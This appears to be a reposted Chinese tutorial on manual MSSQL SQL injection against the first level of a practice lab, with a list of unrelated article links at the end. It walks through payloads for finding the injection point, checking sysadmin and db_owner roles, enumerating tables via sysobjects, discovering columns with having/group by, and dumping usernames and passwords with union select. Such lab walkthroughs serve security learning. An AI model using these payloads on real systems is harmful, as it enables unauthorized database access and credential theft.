当前位置: 首页 > article >正文

MSSQL 手工注入(第一关)

简介

     SQL注入是一种安全漏洞,通过它可以执行意外的SQL命令或访问数据库中的信息。MSSQL注入通常发生在应用程序将用户输入作为SQL查询的一部分执行时,而没有对输入进行适当的验证或清理。

以下是MSSQL手工注入的流程:

一、打开靶场选择第一关

二、确定注入点

测试不同的闭合方式

这里确定为 id=1' --+

三、判断注入点权限

select is_srvrolemember('sysadmin'); 判断当前是否为 sa

select is_srvrolemember('db_owner'); 判断当前⽤户写⽂件、读⽂件的权限

select is_srvrolemember('public'); 判断是否有 public 权限,可以爆破表

 ' and exists(select is_srvrolemember('sysadmin'))--   判断当前是否为 sa

或 ' and (select is_srvrolemember('sysadmin'))>0--  判断当前是否为 sa

' and (select is_srvrolemember('db_owner'))>0--  判断当前⽤户写⽂件 / 读⽂件的权限

四、查询数据库信息

user: 查询⽤户

db_name(): 查询数据库名

@@version: 查询版本信息

使用语句 ?id=-1'union select 1,user,is_srvrolemember('public');--+  查询用户

使用语句 ?id=-1'union select 1,@@version,is_srvrolemember('public');--+  查询版本信息

五、查询表名

1、查询第一个表名

使用语句  'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name from [sysobjects] where xtype=char(85) and status!=1 order by id)t order by id desc)=1--

2、查询第二个表名

使用语句  -1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users')--

3、查询第三个表名

使用语句  -1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails')--

4、查询第四个表名

使用语句     -1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails' and name !='uagents')--

5、查询第五个表名

使用语句   -1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails' and name !='uagents' and name !='referers')--

结果为空,则共有四个表

六、确定字段信息

1、确定第一个字段为id

使用语句   'having 1=1--

2、确定第二个字段为username

使用语句  'group by id having 1=1--

3、确定第三个字段为password

使用语句   'group by id ,username having 1=1--

使用语句   'group by id ,username,password having 1=1--

最终确定只有三个字段

七、确定字段内容

1、查询字段数据

1'order by 3-- // 回显正常

1'order by 4-- // 回信错误 #

2、回显存在内容的字段

使用语句   -1'union select 1,2,3 from users--

确定为 2、3

3、 查询字段内容

使用语句   -1' union select 1,username,password from users--+

安全

网络安全靠人民,网络安全为人民 


http://www.kler.cn/a/281945.html

相关文章:

  • 【2】猫眼娱乐后端开发面试题整理
  • 【分布式技术】ES扩展知识-Elasticsearch分词器的知识与选择
  • 汽车资讯新篇章:Spring Boot技术启航
  • QList和QSet常用操作(查找、插入、排序、交集)
  • 3、C语言基本数据类型关键字
  • ASP.NET Core Webapi 返回数据的三种方式
  • 数学建模之数据分析【八】:数据预处理之数据格式化
  • Objective-C 动态调用秘籍:NSInvocation 的魔法
  • 使用matplotlib可视化dataframe:让你的数据更生动有趣
  • 【采集软件】抖音根据关键词批量采集搜索结果工具
  • 使用Hutool操作Excel的时候出现的问题(压缩比问题)
  • 计算机毕业设计选题推荐-保险业务管理系统-Java/Python项目实战
  • 使用canal增量同步ES索引库数据
  • AI模型应该追求全能还是专精
  • 【hot100篇-python刷题记录】【跳跃游戏】
  • 设计模式 7 桥接模式
  • 【Redis】Redis编程技巧
  • (十八)Flink CEP 详解
  • Spring数据访问层管理 ▎集成MyBatis ▎AOP ▎事务管理 ▎SpringWeb配置
  • 使用预训练的 ONNX 格式的 YOLOv8n 模型进行目标检测,并在图像上绘制检测结果
  • 使用Python和CMD批量分析Monkey日志ANR、CRASH、空指针异常及其他异常数据
  • C语言基础(二十四)
  • 数据仓库系列 1:什么是数据仓库,它与传统数据库有什么不同?
  • 如何在 Android 智能手机上恢复已删除的图片
  • 基于SpringBoot的在线答疑系统
  • python基础(11文件读取)